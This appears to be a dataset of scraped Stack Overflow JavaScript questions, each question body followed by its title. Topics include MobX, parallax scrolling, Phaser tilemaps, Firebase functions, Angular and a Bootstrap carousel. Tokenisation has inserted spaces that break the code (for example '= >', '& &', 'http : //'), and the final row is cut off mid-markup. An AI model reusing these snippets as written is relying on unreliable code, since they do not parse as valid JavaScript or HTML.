Question here : Is it possible to retrigger a mouse click with only the coordinates , not specifying a specific element ? Anyway , the support of pointer-events is limited : http : //caniuse.com/pointer-events < div > < div style= '' ... '' > B < /div > < div style= '' ... '' > A < /div > < /div >",Dispatching a mouse event to an element that is visually `` behind '' the receiving element "JS : If I push a class instance into an observable array in MobX then it is not observed . However if I push a literal object into an observable array then it will be observed.The docs for observable arrays say that `` all ( future ) values of the array will also be observable '' so I am trying to understand why this happens.For example the following code can be run in node : this logs outUpdating todo [ 1 ] does not trigger the autorun . Can anyone explain why ? I know I could manually make the title property on the Todo class observable but I am wondering why I need to do that . let mobx = require ( 'mobx ' ) ; class TodoStore { constructor ( ) { this.todos = mobx.observable.array ( [ ] ) ; this.todos.push ( { title : 'todo 1 ' } ) ; this.todos.push ( new Todo ( 'todo 2 ' ) ) ; } } class Todo { constructor ( title ) { this.title = title ; } } let store = new TodoStore ( ) ; console.log ( '***initial state*** ' ) ; mobx.autorun ( ( ) = > { if ( store.todos.length > 0 ) { console.log ( 'first todo : ' , store.todos [ 0 ] .title ) ; console.log ( 'second todo : ' , store.todos [ 1 ] .title ) ; } } ) ; console.log ( '***Updating todo 1*** ' ) ; store.todos [ 0 ] .title = 'todo 1 updated ' ; console.log ( '***Updating todo 2*** ' ) ; //Why does n't this trigger the autorun ? store.todos [ 1 ] .title = 'todo 2 updated ' ; ***initial state***first todo : todo 1second todo : todo 2***Updating todo 1***first todo : todo 1 updatedsecond todo : todo 2***Updating todo 2***",Mobx does n't observe classes in observable array "JS : I tried to experiment with parallax and started from scratch to understand the core parts of this magic . To give you an example that I like to use as inspiration , you can see it at this link here at the `` Photos '' section . Latest code is down the page with related information . To get an overall look of the question see the rest of the details.Core parts I already know are the scrollTop ( ) of the $ window and the offsetTop of the element are important to apply the parallax effect on a DOM element as well as a factor for how sensitive the effect should be respond to the scroll speed . The end result should be some formule that will calculate the translateY or translate3d coordinates in pixels or percentage . I read on the internet that the CSS property translate is faster than , for example , top from position : absolute , and my preference would be also to use translate in combination with TweenMax GSAP . So the movement of the parallax will be very smooth . But if only the css property translate is enough that 's fine too . I saw some examples that where using TweenMax , so that 's why I use it for now.JSI have code the basic things : So I 've code above code , but it does n't do anything , of course . See CodePen from above code here . It will only console log scrollTop and offsetTop . As mentioned before , I only know the core parts like scrollTop and offsetTop to apply the parallax effect . Then there should be some area created where the parallax effect will be triggered and happen , so calculations will be only done for elements within the viewport in order to keep the performance good . After that there should be some math done , but does n't know exactly what or how to achieve this . Only after I have a final number , I could use it within for example TweenMax from Greensock like so : TweenMaxParallax formulaIf I look around to get the formula down I came to something like this ( founded on the internet ) : But if I am honest , I does n't know what this does exactly , or why it should/could be this way . I would like to know this , so I can understand the whole process of making parallax happen . The functions of scrollTop ( ) , offsetTop and $ ( window ) .height ( ) are clear for me , but what the trick behind the formula is , is the part that I does n't understand . UpdatesUpdate 1 @ Scott has notified that the inspiration site uses a plugin called scrollmagic.io , but I am very curious about how I can create a parallax by myself without the use of a plugin . How it works and how to achieve it . With emphasis on the formula , why I should it do this or that way and what exactly will be calculated , because I do n't understand it and really wan na know this , so that I can use this knowledge in the future when applying a parallax effect . Update 2I tried to figure out what the following code snippet exactly does . I talking about this one : After some good debug sessions I think that I 've the clue . So scrollTop is the amount of pixels that you 've scrolled down the page and that are hidden from the view . offsetTop is the start position of the element within the DOM and $ ( window ) .height is the viewport height - the part that is visible in the browser - . This is what I think that this formula does : Set the zero point to the point where the element starts . For example , when scrollTop is equal to 0 and the element starts at 240px from the top , then the formula is : 0 minus 240 is -240 . So the current scroll position is below zero point . After scrolling 240px down , the formula will output 0 because of course 240 minus 240 is 0 ( zero ) . Am I right ? But the part that I does n't understand yet is why + win.height . If we go back to above formula ( at Update 2 ) and scrollTop is zero then the $ ( window ) .height is the space from 240px till the bottom of the viewport . When scrolling down , the amount of pixel will grow on scroll , that makes no sense to me . If someone can explain what could have been the purpose of this would be fine . 'm very curious . The second part of the formula to calculate the parallax offsetPercent I still do n't understand . In general the calculation of the parallax strength on scroll . Update 3 / 4Advised by @ Edisoni , I walked the last few days by the videos of Travis Neilson and I have become a lot wiser on the basic functionalities of parallax . A must for everyone who wants to dig in parallax . I 've used the new knowledge about parallax to get my above script work : However , the script works only for a certain part of the elements . The problem is that it only works for the first two elements . I have a suspicion that the `` error '' is located in particularly after the AND & & sign in the if statement , but ca n't get the error solved . http : //codepen.io/anon/pen/XKwBABWhen the elements , that work on the trigger are animated , they will be jumping some pixels to the bottom , do n't know how to fix this to . The jumping to : 1.135 % , after the trigger is fired . So it does n't start at 0 % . I already checked if I should add the CSS property translate to the CSS and set the type of number to % , but this does n't work for me . Should I use the TweenMax .fromTo ( ) function instead of using the .to ( ) function so I can set the start position as well or is my thought about this wrong and has a different cause ? Something like this : Beside that I trying to recreate the effect of the site that I would like to use as inspiration source without the use of the scrollMagic plugin , but I do n't really know how this works , with the use of two different objects that are animated.At last , if someone thinks the code can be better formatted , do n't hesitate , I would like to hear your suggestionsMy actual questions are for update 2 and 3/4 : How to calculate the parallax y coordinates to get `` the magic '' done ? Am I right about update 2 , that the zero point will be reset to offsetTop of each element ? Why my code only works for the first two elements and why they jumping some pixels down if the inline style of translate will be added to the animated element ? See update 3/4 for all info . var win = $ ( window ) ; var el = $ ( ' # daily .entry ' ) .find ( 'figure ' ) ; win.scroll ( function ( ) { var scrollTop = win.scrollTop ( ) ; var parallaxFactor = 5 ; el.each ( function ( ) { var image = $ ( this ) .find ( 'img ' ) ; var offsetTop = $ ( this ) .offset ( ) .top ; // This is the part where I am talking about . // Here should be the magic happen ... } ) ; } ) ; TweenMax.to ( image , 0.1 , { yPercent : offsetPercent + ' % ' , ease : Linear.easeNone } ) ; var viewportOffset = scrollTop - offsetTop + win.height ( ) ; var offsetPercent = ( ( viewportOffset / win.height ( ) * 100 ) - 100 ) / parallaxFactor ; if ( viewportOffset > = 0 & & viewportOffset < = win.height ( ) * 2 ) { TweenMax.to ( image , 0.1 , { yPercent : offsetPercent + ' % ' , ease : Linear.easeNone } ) ; } var viewportOffset = scrollTop - offsetTop + win.height ( ) ; var root = this ; var win = $ ( window ) ; var offset = 0 ; var elements = $ ( ' # daily .entry figure ' ) ; if ( win.width ( ) > = 768 ) { win.scroll ( function ( ) { // Get current scroll position var scrollPos = win.scrollTop ( ) ; console.log ( scrollPos ) ; elements.each ( function ( i ) { var elem = $ ( this ) ; var triggerElement = elem.offset ( ) .top ; var elemHeight = elem.height ( ) ; var animElem = elem.find ( 'img ' ) ; if ( scrollPos > triggerElement - ( elemHeight / 2 ) & & scrollPos < triggerElement + elemHeight + ( elemHeight / 2 ) ) { // Do the magic TweenMax.to ( animElem , 0.1 , { yPercent : - ( scrollPos - elemHeight / 2 ) / 100 , ease : Linear.easeNone } ) ; } else { return false ; } } ) ; } ) ; } -webkit-transform : translateY ( 0 % ) ; -moz-transform : translateY ( 0 % ) ; -o-transform : translateY ( 0 % ) ; transform : translateY ( 0 % ) ; TweenMax.fromTo ( animElem , 0.1 , { yPercent : triggerElement , z : 1 } , { yPercent : - ( scrollPos - elemHeight / 2 ) / 100 , ease : Linear.easeNone } ) ;",How to get the core part - that does the trick - of parallax work ? JS : I ca n't figure out how to trigger animations on a nested ngRepeat with Angular.The CSS class `` .test '' is animated . When using `` .test '' on the inner ngRepeat it does n't work ( Plunker ) : When using `` .test '' on the outer ngRepeat it does work ( Plunker ) : < div ng-repeat= '' section in sections '' > < div ng-repeat= '' item in section.items '' class= '' test '' > < h2 > { { item.title } } < /h2 > < /div > < /div > < div ng-repeat= '' section in sections '' > < div ng-repeat= '' item in section.items '' class= '' test '' > < h2 > { { item.title } } < /h2 > < /div > < /div >,Ca n't trigger animation on nested ngRepeat "JS : I 'm working with Paser.js on a Meteor.js server.It worked wperfectly until I try to use tiled maps as described here.Here is my code : JS : HTML : And , when I try it on localhost:3000 , I get : Uncaught TypeError : Can not read property ' 0 ' of undefinedFrom phaser.min.js:15 . The line which generate that warning is It seems that phaser can correctly read the 'background ' layer information from the scifi.json , but not the 'blocklayer ' one.Here is an extract from the scifi.json : And I 'm stil unable to find out what 's the problem ... Has anyone faced that before ? More informations : I use Atom as IDEI tried with Phaser v2.0.1 and Phaser v2.4.2Thanks you . if ( Meteor.isClient ) { Template.Game.onCreated ( function ( ) { var game = new Phaser.Game ( 800 , 600 , Phaser.AUTO , `` , { preload : preload , create : create , update : update } ) ; var map ; var backgroundLayer ; var blockLayer ; var bg ; function preload ( ) { // load all game assets // images , spritesheets , atlases , audio etc.. game.load.tilemap ( 'myTilemap ' , 'assets/tilemaps/scifi.json ' , null , Phaser.Tilemap.TILED_JSON ) ; game.load.image ( 'myTileset ' , `` assets/tilemaps/scifi_platformTiles_32x32.png '' ) ; } function create ( ) { map = game.add.tilemap ( 'myTilemap ' ) ; map.addTilesetImage ( 'scifi_platformTiles_32x32 ' , 'myTileset ' ) ; backgroundLayer = map.createLayer ( 'background ' ) ; blockLayer = map.createLayer ( 'blocklayer ' ) ; } function update ( ) { } } ) ; } < head > < meta charset= '' UTF-8 '' / > < title > Phaser - Making your first game , part 1 < /title > < script type= '' text/javascript '' src= '' phaser.min.js '' > < /script > < style type= '' text/css '' > body { margin : 0 ; } < /style > < /head > < body > < h1 > Welcome to my first Phaser game ! < /h1 > { { > Game } } < /body > < template name= '' Game '' > < div id= '' phaserCanvas '' > < /div > < /template > blockLayer = map.createLayer ( 'blocklayer ' ) ; { `` height '' :20 , `` layers '' : [ { `` compression '' : '' zlib '' , `` data '' : `` [ Some very long hashed key ... ] '' , `` encoding '' : '' base64 '' , `` height '' :20 , `` name '' : '' background '' , `` opacity '' :1 , `` type '' : '' tilelayer '' , `` visible '' : true , `` width '' :20 , `` x '' :0 , `` y '' :0 } , { `` compression '' : '' zlib '' , `` data '' : '' [ Some very long hashed key ... ] '' , `` encoding '' : '' base64 '' , `` height '' :20 , `` name '' : '' blocklayer '' , `` opacity '' :1 , `` type '' : '' tilelayer '' , `` visible '' : true , `` width '' :20 , `` x '' :0 , `` y '' :0 } ] , `` nextobjectid '' :1 , [ ... ]",Phaser.js : can not read property ' 0 ' on tiled map layer "JS : I have created a simple JSFiddle for the problem . Here is the link : https : //jsfiddle.net/tnkh/Loewjnr3/CSS : Basically over here , I can hover on any circle to change their color . I would like to ask how could I make the orange color stays on on any particular circle that I hovered on after the mouse moved away to white container ? Any script or CSS animation I could use to solve the problem ? .container { background : white ; display : flex ; justify-content : center ; align-items : center ; height:50px } .circle { display : inline-block ; width : 20px ; height : 20px ; background : # 0f3757 ; -moz-border-radius : 50px ; -webkit-border-radius : 50px ; border-radius : 50px ; margin-left:10px ; float : left ; transition : all 0.3s ease } .circle : hover { background : orange ; }",How to make hover effect stays even after unhover ? "JS : It seems that Node.js ( version v0.10.13 ) returns the command wrapped between ( and \n ) , here 's a minimal example : The behavior is the following : Why is that ? If this feature is documented then I was not able to find it.Also , if this is the intended behavior , is there a better solution than doing cmd = cmd.slice ( 1 , -2 ) ; ? require ( 'repl ' ) .start ( { 'eval ' : function ( cmd , context , filename , callback ) { callback ( null , cmd ) ; } } ) ; $ node repl.js > asd ' ( asd\n ) ' >",Node.js REPL funny behavior with custom eval function "JS : I updated my firebase-functions and now I get this error in the firebase console . The code is still the same but I get an error now : This is my cloud function TypeScript source : Anyone has an idea what this is ? In my functions there is no method that is named *getPartitions . /srv/node_modules/ @ google-cloud/firestore/build/src/collection-group.js:54 async *getPartitions ( desiredPartitionCount ) { ^SyntaxError : Unexpected token * at createScript ( vm.js:80:10 ) at Object.runInThisContext ( vm.js:139:10 ) at Module._compile ( module.js:617:28 ) at Object.Module._extensions..js ( module.js:664:10 ) at Module.load ( module.js:566:32 ) at tryModuleLoad ( module.js:506:12 ) at Function.Module._load ( module.js:498:3 ) at Module.require ( module.js:597:17 ) at require ( internal/module.js:11:18 ) at Object. < anonymous > ( /srv/node_modules/ @ google-cloud/firestore/build/src/index.js:39:28 ) import * as functions from 'firebase-functions ' ; import admin = require ( 'firebase-admin ' ) ; admin.initializeApp ( functions.config ( ) .firebase ) ; /********************************************************************/exports.newChatMessage = functions.firestore .document ( '/games/ { gameId } /chat/ { chatId } ' ) .onCreate ( ( snap , context ) = > { const createData = snap.data ( ) ; if ( ! createData ) { return false ; } const chatMessage = createData.message ; if ( ! chatMessage ) { return false ; } console.log ( 'New Chat message in game : ' , context.params.gameId ) ; const payload = { notification : { title : 'New chat message ' , body : chatMessage , icon : 'ic_notification ' } } return admin.firestore ( ) .collection ( ` /games/ $ { context.params.gameId } /members ` ) .where ( 'notificationChat ' , '== ' , true ) .get ( ) .then ( members = > { members.forEach ( member = > { if ( member.id ! == createData.user ) { return admin.firestore ( ) .doc ( ` /users/ $ { member.id } ` ) .get ( ) .then ( memberdata = > { if ( memberdata.get ( 'firebaseToken ' ) === `` ) { return memberdata.data ( ) ; } else { return admin.messaging ( ) .sendToDevice ( memberdata.get ( 'firebaseToken ' ) , payload ) .catch ( error = > { console.log ( error ) } ) ; } } ) .catch ( error = > { console.log ( error ) } ) ; } else { return false ; } } ) } ) .catch ( error = > { console.log ( error ) } ) ; } ) ;",Firebase-Functions error after update ? what can i do ? "JS : I have an HTML document that might have & lt ; and & gt ; in some of the attributes . I am trying to extract this and run it through an XSLT , but the XSLT engine errors telling me that < is not valid inside of an attribute.I did some digging , and found that it is properly escaped in the source document , but when this is loaded into the DOM via innerHTML , the DOM is unencoding the attributes . Strangely , it does this for & lt ; and & gt ; , but not some others like & amp ; .Here is a simple example : I 'm assuming that the DOM implementation decided that HTML attributes can be less strict than XML attributes , and that this is `` working as intended '' . My question is , can I work around this without writing some horrible regex replacement ? var div = document.createElement ( 'DIV ' ) ; div.innerHTML = ' < div asdf= '' & lt ; 50 '' fdsa= '' & amp ; 50 '' > < /div > ' ; console.log ( div.innerHTML )",innerHTML unencodes & lt ; in attributes "JS : I 'm trying to create a form that allows you to create multiple resources in sequential order.Example belowThe problem with the code is that the order is not guarantee.My code belowCan come back likeHow do you handle async api calls to guarantee sequential order ? Floor 1Floor 2Floor 3 ... Floor 9 let startAt = this.addAreasForm.controls [ 'startAt ' ] .valueconst name = this.addAreasForm.controls [ 'name ' ] .valueconst newArea = { name : name } for ( let i = 1 ; i < ( amount + 1 ) ; i++ ) { newArea.name = name + ' ' + startAt startAt++ this.areasService.createArea ( newArea , parentId ) .subscribe ( area = > this.added.emit ( area ) ) } Floor 2Floor 3Floor 1Floor 5Floor 4",How to guarantee sequential order with angular http rest api in for loop ? JS : I 'm trying to upload a file chosen through a Polymer < paper-input type= '' file '' id= '' filepicker '' > element but when i try to access the file with : i get a files is not defined error.I have n't found any other methods to access files in paper inputs so I 'm not sure what the problem is here.Any help would be appreciated ! var file = this. $ .filepicker.files,Access file selected with paper-input "JS : How can I change the ondblclick event to onclick event when page detects that its on IOS/Android etc . What makes it difficult is I can not just call the ID of the element since it carry data from database to Javascript function . Check it out.Server-side : Client-side : < ? php echo ' < table > ' ; while ( $ row=mysql_fetch_array ( $ query ) ) { echo ' < tr > < td ondblclick= '' sampFunc ( `` '. $ row [ 0 ] . ' '' , '' '. $ row [ 1 ] . ' '' ) '' > ' ; echo $ row [ 0 ] ; echo ' < /td > < /tr > ' ; } echo ' < /table > ' ; ? > < script > $ ( document ) .ready ( function ( ) { if ( /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test ( navigator.userAgent ) ) { /* ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? */ } } ) ; function sampFunc ( data1 , data2 ) { // -- Something } < /script >",Change ondblclick to onclick event when using IOS/Android etc "JS : I Have a html select element generated in PHP from an array as followsThe select box uses a small javascript function to displays the country key of the selected country : I want to now use that key to interface with another PHP array which contain information about the country and display that country in the # countrykey div instead of the selected value : Is this something that can be easily achieved , or is my approach entirely wrong ? $ countries = array ( array ( 'iso ' = > 'AF ' , 'name ' = > 'Afghanistan ' , 'key ' = > 'Red ' ) , array ( 'iso ' = > 'AX ' , 'name ' = > 'Åland Islands ' , 'key ' = > 'Yellow ' ) , array ( 'iso ' = > 'AL ' , 'name ' = > 'Albania ' , 'key ' = > 'Blue ' ) ) ; $ select = ' < select id= '' country_select '' onchange= '' countryfind ( ) '' > ' ; foreach ( $ countries as $ country ) { $ select .= ' < option value= '' '. $ country [ 'key ' ] . ' '' > '. $ country [ 'name ' ] . ' < /option > ' ; } $ select = ' < /select > ' ; return $ select ; function countryfind ( ) { jQuery ( ' # countrykey ' ) .text ( jQuery ( ' # country_select option : selected ' ) .val ( ) ) } ; $ si_federations = array ( 'Red ' = > array ( 'name'= > ' A Red Country ' , 'url'= > 'http : //www.redcountry.com ' ) , 'Blue ' = > array ( 'name'= > ' A Blue Country ' , 'url'= > 'http : //www.soroptimisteurope.org ' ) , ) ;",Getting values from a PHP associative array using jQuery "JS : I have been using Array.indexOf in the Google Chrome console , I tried these codesThey all returned 2 , but when I tried these codesThey all returned -1 . I want it also return 2 , how could I do that ? Thanks for your help , time , and effort ! [ 1,2,3 ] .indexOf ( 3 ) ; [ 1,2 , '' 3 '' ] .indexOf ( `` 3 '' ) ; [ 1,2 , '' 3 '' ] .indexOf ( 3 ) ; [ 1,2,3 ] .indexOf ( `` 3 '' ) ;",Array.indexOf insensitive data type "JS : I 'm implementing a web map client built on top of OpenLayers3 which should be able to connect to multiple WMS servers , ask for WMS Capabilities and show layers advertised by servers.The code above works fine but I have to bind ( this ) every time I want to call a function which needs access to `` private '' variables of MyMapClient 's instance . Is n't there a better way to access instance internals consistently , without sacrificing readability ? var MyMapClient = function ( params ) { this.wms_sources_ = params.wms_sources ; this.wms_capabilities_ = [ ] ; } MyMapClient.prototype.parse_capabilities = function ( index ) { var capabilities = this.wms_capabilities_ [ index ] ; // do something with capabilities } MyMapClient.prototype.load_wms_capabilities = function ( ) { var parser = new ol.format.WMSCapabilities ( ) ; jQuery.each ( this.wms_sources_ , ( function ( index , wms_source ) { console.log ( `` Parsing `` + wms_source.capabilities_url ) ; jQuery.when ( jQuery.ajax ( { url : wms_source.capabilities_url , type : `` GET '' , crossDomain : true , } ) ) .then ( ( function ( response , status , jqXHR ) { var result = parser.read ( response ) ; console.log ( `` Parsed Capabilities , version `` + result.version ) ; this.wms_capabilities_ [ index ] = result ; return index ; } ) .bind ( this ) ) .then ( this.parse_capabilities.bind ( this ) ) ; } ) .bind ( this ) ) ; } ;",How to avoid bind ( this ) on every function ? "JS : I have a javascript object in my jade view like this : I would like generate attributes on an input tag , trying something like thisOf course this does n't work , I also tried some inline code but without success.Do you have any idea to help me ? element = { name : 'createdAt ' , type : 'text ' , attrs : { class : 'date ' , type : 'text ' , placeholder : 'Created at ' } } input ( each k , v in element.attrs k= v )",Jade templating : loop in attributes ? "JS : Here is AuthInterceptor : I need to evaluate those conditions before sending the request because some custom headers may change after methods refreshToken and refreshTokenRefresh . Is there a way to evaluate everything inside a RxJS operator ? First condition ( refreshTokenRefresh ) , then second ( refreshToken ) and finally the req.Update : I 'm getting this error : RangeError : Maximum call stack size exceeded . How to fix this ? @ Injectable ( ) export class AuthInterceptor implements HttpInterceptor { constructor ( private authService : AuthService ) { } intercept ( req : HttpRequest < any > , next : HttpHandler ) : Observable < HttpEvent < any > > { const Token = this.authService.getToken ( ) ; if ( ! Token ) { return next.handle ( req ) ; } // Refresh Token first if ( Token.expiresRefreshToken & & Number ( Token.expiresRefreshToken ) < Date.now ( ) ) { this.authService.refreshTokenRefresh ( Token.tokenref ) .subscribe ( ( response ) = > { localStorage.setItem ( 'tokenref ' , response.tokenref ) ; localStorage.setItem ( 'tokenrefexp ' , response.tokenrefexp ) ; } ) ; } // Then next Access Token if ( Token.expiresToken & & Number ( Token.expiresToken ) < Date.now ( ) ) { this.authService.refreshToken ( Token.tokenref ) .subscribe ( ( response ) = > { localStorage.setItem ( 'token ' , response.token ) ; localStorage.setItem ( 'tokenexp ' , response.tokenexp ) ; } ) ; } // Original request with updated custom headers return next.handle ( req.clone ( { headers : req.headers .set ( 'Authorization ' , 'Bearer ' + localStorage.getItem ( 'token ' ) ) .set ( ' X-Auth-Provider ' , localStorage.getItem ( 'provider ' ) ) } ) ) ; } }",Angular HttpInterceptor : How to use RxJS for multiple conditions "JS : I 'm parsing text that is many repetitions of a simple pattern . The text is in the format of a script for a play , like this : I 'm currently using the pattern ( [ A-Z0-9\s ] + ) \s*\ : ? \s* [ \r\n ] ( .+ ) [ \r\n ] { 2 } , which works fine ( explanation below ) except for when the character 's speech has line breaks in it . When that happens , the character 's name is captured successfully but only the first line of the speech is captured.Turning on Single-line mode ( to include line breaks in . ) just creates one giant match.How can I tell the ( .+ ) to stop when it finds the next character name and end the match ? I 'm iterating over each match individually ( JavaScript ) , so the name must be available to the next match.Ideally , I would be able to match all characters until the entire pattern is repeated.Pattern explained : The first group matches a character 's name ( allowing capital letters , numbers , and whitespace ) , ( with a trailing colon and whitespace optional ) .The second group ( character 's speech ) begins on a new line and captures any characters ( except , problematically , line breaks and characters after them ) .The pattern ends ( and starts over ) after a blank line . SAMPSONI mean , an we be in choler , we 'll draw.GREGORYAy , while you live , draw your neck out o ' the collar .",Regular Expression to match all characters up to next match "JS : Why does this code work ... ... but this does n't ? It gives me `` both is not defined '' error . What am I missing here ? Something 's wrong withthis.both ? I 'm total newbie when it comes to object literal var message = { texts : { text1 : 'Hello ' , text2 : 'World ' } , greet : function ( ) { console.log ( this.texts.text1 + ' ' + this.texts.text2 + ' ! ' ) ; } } message.greet ( ) ; var message = { texts : { text1 : 'Hello ' , text2 : 'World ' } , both : this.texts.text1 + ' ' + this.texts.text2 + ' ! ' , greet : function ( ) { console.log ( this.both ) ; } } message.greet ( ) ;",Ca n't define variable in JavaScript object literal "JS : I 'm trying to assign height to a img using ngStyle and for that I 'm calculating height with some Math operation as follows : But when I do run it it gives following error : < div [ ngSwitch ] = '' tbNm ? tbNm : 'itm0 ' '' > < ion-list *ngFor= '' let vl of scrnshot ; let ind=index '' > < img *ngSwitchCase= '' 'itm'+ind '' alt= '' Akhilesh '' [ ngStyle ] = '' { 'height ' : ( parseInt ( vl.names [ 0 ] .hitWid.bdHt+ ( websitTyp ( vl._id.origin ) ? 100:0 ) ) ) +'px ' , 'width ' : ( vl.names [ 0 ] .hitWid.bdWd+'px ' ) } '' [ src ] = '' vl.names [ 0 ] .base64 '' > < /ion-list > < /div > error_handler.js:51 TypeError : self.parent.parent.context.parseInt is not a function at DebugAppView._View_HomePage9.detectChangesInternal ( HomePage.ngfactory.js:1444 ) at DebugAppView.AppView.detectChanges ( view.js:272 ) at DebugAppView.detectChanges ( view.js:377 ) at DebugAppView.AppView.detectContentChildrenChanges ( view.js:290 ) at DebugAppView._View_HomePage8.detectChangesInternal ( HomePage.ngfactory.js:1407 ) at DebugAppView.AppView.detectChanges ( view.js:272 ) at DebugAppView.detectChanges ( view.js:377 ) at DebugAppView.AppView.detectContentChildrenChanges ( view.js:290 ) at DebugAppView._View_HomePage0.detectChangesInternal ( HomePage.ngfactory.js:270 ) at DebugAppView.AppView.detectChanges ( view.js:272 )",TypeError : self.parent.parent.context.parseInt is not a function "JS : I have developed a custom directive which trims value of input controls.Please find the code for the same : The problem is ngModel not updating value on onBlur event.I tried to trim value on onModelChange event but it does n't allow space between two words ( e.g. , ABC XYZ ) Any suggestion would be helpful . import { Directive , HostListener , Provider } from ' @ angular/core ' ; import { NgModel } from ' @ angular/forms ' ; @ Directive ( { selector : ' [ ngModel ] [ trim ] ' , providers : [ NgModel ] , host : { ' ( ngModelChange ) ' : 'onInputChange ( $ event ) ' , ' ( blur ) ' : 'onBlur ( $ event ) ' } } ) export class TrimValueAccessor { onChange = ( _ ) = > { } ; private el : any ; private newValue : any ; constructor ( private model : NgModel ) { this.el = model ; } onInputChange ( event ) { this.newValue = event ; console.log ( this.newValue ) ; } onBlur ( event ) { this.model.valueAccessor.writeValue ( this.newValue.trim ( ) ) ; } }",In Angular2 ngModel value not updating on onBlur event of custom directive "JS : I have a as to how google 's async analytics tracker works . The following code is used to init a command array : Now , this is a standard array that gets replaced once the GA 's code is loaded and is used as a sort of queue that stores your clicks.My confusion lies in wondering how these clicks could possibly be persisted if a user clicks a link that causes a reload ( prior to the GA javascript being loaded ) . If the GA code has n't captured that push on the the _gaq object , then the user clicks a link and goes to a new page , this array is just re initialized each time no ? Is n't it true that a javascript variable will not persist across requests that cause a refresh ? If this is the case , have n't we then lost that original click that caused the page reload ? Any explanation is greatly appreciated . < script type= '' text/javascript '' > var _gaq = _gaq || [ ] ; _gaq.push ( [ '_setAccount ' , 'UA-xxxxxxxx-x ' ] , [ '_trackPageview ' ] ) ; < /script >",Explaining Google Analytics async tracker "JS : I 'm reviewing the setImmediate polyfill and it 's wrapped inside immediate-invoking function with the following : I 'm confused about the purpose the last statement and the parameters being passed to the function . Does it have something to do that this code might be run inside a browser as well as on Node.js ? Can you please clarify ? ( function ( global , undefined ) { `` use strict '' ; ... } ( new Function ( `` return this '' ) ( ) ) ) ;",what 's the purpose of ` new Function ( `` return this '' ) ( ) ` in immediately invoked function "JS : I saw this pattern used in a configuration file for protractor.To mean it means `` all files inside test/e2e '' . What kind of pattern is this ? I think it 's not regex because of those unescaped slashes . Especially , why is there ** in the middle , not just test/e2e/*.spec.js ? I tried using the search engine , but did not find anything useful probably because the asterisks do n't work very well in search engines . specs : [ 'test/e2e/**/*.spec.js ' ]",How does this pattern work : 'test/e2e/**/*.spec.js ' ? "JS : I have few div HTML elements and i am cloning it with a clone ( true ) option as i want to copy the events also.Now the case there are certain click events in my HTML div blocks and while crating events i use context parameter also likeNow , when i clone this block using clone ( true ) , click event does n't get fire even if i am assigning context parameter . var $ block = '' < div class='task-create-content ' > '' + `` < div class='task-create-preview ' > '' + `` < div class='items ' > '' + `` < div > < input type='text ' class='edit wtp'/ > < /div > '' + `` < div > < input type='text ' class='edit wtp'/ > < /div > '' + `` < /div > '' + `` < /div > '' ) ; $ ( `` .wtp '' , $ block ) .live ( 'click ' , function ( ) { alert ( `` hi '' ) ; } )",clone & live function with context parameter jquery 1.4 "JS : I 'm trying to use jstestdriver to generate some unit tests in my ant build in Windows . I plan to do this by running jstestdriver from an ant target using the < java > ant task.So far for my ant build file I have the following : Now inside the < java > tags ( `` ... '' above ) I 've tried adding the following : When I run the jstestdriver target , no messages are displayed on the console , and there are no junit output files in the directory they are to be generated in.I have also tried the code snippet below instead , which seems to indicate that the jar is being executed : However all it does is display an error message : ... and additionally displays a list of options for the jstestdriver jar.I 'm not sure what I 'm doing wrong ... < target name= '' jstestdriver '' description= '' Runs the js unit tests '' > ... < arg value= '' -- config '' / > < arg value= '' ../../jstestdriver.conf '' / > < arg value= '' -- tests '' / > < arg value= '' $ { whichTests } '' / > < arg value= '' -- testOutput '' / > < arg value= '' $ { reports.dir } '' / > < arg value= '' -- config ..\..\jstestdriver.conf '' / > < arg value= '' -- tests $ { whichTests } '' / > < arg value= '' -- testOutput $ { reports.dir } '' / > `` -- config ..\..\jstestdriver.conf '' is not a valid option",Passing a command line argument to jstestdriver JAR from ANT ? "JS : I am trying to get the jquery deferred work as shown in the code below.After both calls are completed I would like to extract the Json data returned from both the calls . However , the 'result ' object only contains the data returned by the first call ( GetData1 ) ? How can I get the result for both the calls in the 'then ' callback method above . < script type= '' text/javascript '' > var appUrls = { GetDataUrl : ' @ Url.Action ( `` GetData '' ) ' } ; function GetData1 ( ) { return $ .getJSON ( appUrls.GetDataUrl , { Id : 1 } ) ; } function GetData2 ( ) { return $ .getJSON ( appUrls.GetDataUrl , { Id : 2 } ) ; } $ ( function ( ) { $ ( `` # result '' ) .html ( `` Getting Data1 , Data2 ... . `` ) ; $ .when ( GetData1 ( ) , GetData2 ( ) ) .then ( function ( result ) { //The 'result ' only contains the data from first request . console.log ( result ) ; $ ( `` # result '' ) .html ( `` Completed GetData1 , GetData2 '' ) ; } ) ; } ) ; < /script >",How to get the ajax results for multiple deferred calls in jquery ? "JS : I 'm using bootstrap carousel for the slider , on each slide there is some text over it.I would like that text over the slides to aappear letter by letter.I have almost solved it..But there are 2 issuesOn first slide the text does n't come up at allIf the user goes to some other tab on the browser means if the current window is not in focus , then everything gets messed up.Here is my fiddleHTMLJS : < main > < div class= '' container '' > < div class= '' block-wrap '' > < div id= '' js-carousel '' class= '' carousel slide '' data-ride= '' carousel '' > < ! -- Wrapper for slides -- > < div class= '' carousel-inner '' role= '' listbox '' > < div class= '' item active '' > < img src= '' http : //cdn.theatlantic.com/assets/media/img/photo/2015/11/images-from-the-2016-sony-world-pho/s01_130921474920553591/main_900.jpg ? 1448476701 '' alt= '' Chania '' > < div class= '' caption '' > < div class= '' mystring hide '' > companies with Inbound Marketing < /div > < h4 > We help < div class= '' demo-txt '' > < /div > < /h4 > < /div > < /div > < div class= '' item '' > < img src= '' http : //cdn.theatlantic.com/assets/media/img/photo/2015/11/images-from-the-2016-sony-world-pho/s01_130921474920553591/main_900.jpg ? 1448476701 '' alt= '' Chania '' > < div class= '' caption '' > < div class= '' mystring hide '' > companies with Inbound Marketing < /div > < h4 > We help < div class= '' demo-txt `` > < /div > < /h4 > < /div > < /div > < div class= '' item '' > < img src= '' http : //cdn.theatlantic.com/assets/media/img/photo/2015/11/images-from-the-2016-sony-world-pho/s01_130921474920553591/main_900.jpg ? 1448476701 '' alt= '' Flower '' > < div class= '' caption '' > < div class= '' mystring hide '' > 2companies with Inbound Marketing < /div > < h4 > We help < div class= '' demo-txt '' > < /div > < /h4 > < /div > < /div > < div class= '' item '' > < img src= '' http : //cdn.theatlantic.com/assets/media/img/photo/2015/11/images-from-the-2016-sony-world-pho/s01_130921474920553591/main_900.jpg ? 1448476701 '' alt= '' Flower '' > < div class= '' caption '' > < div class= '' mystring hide '' > 3companies with Inbound 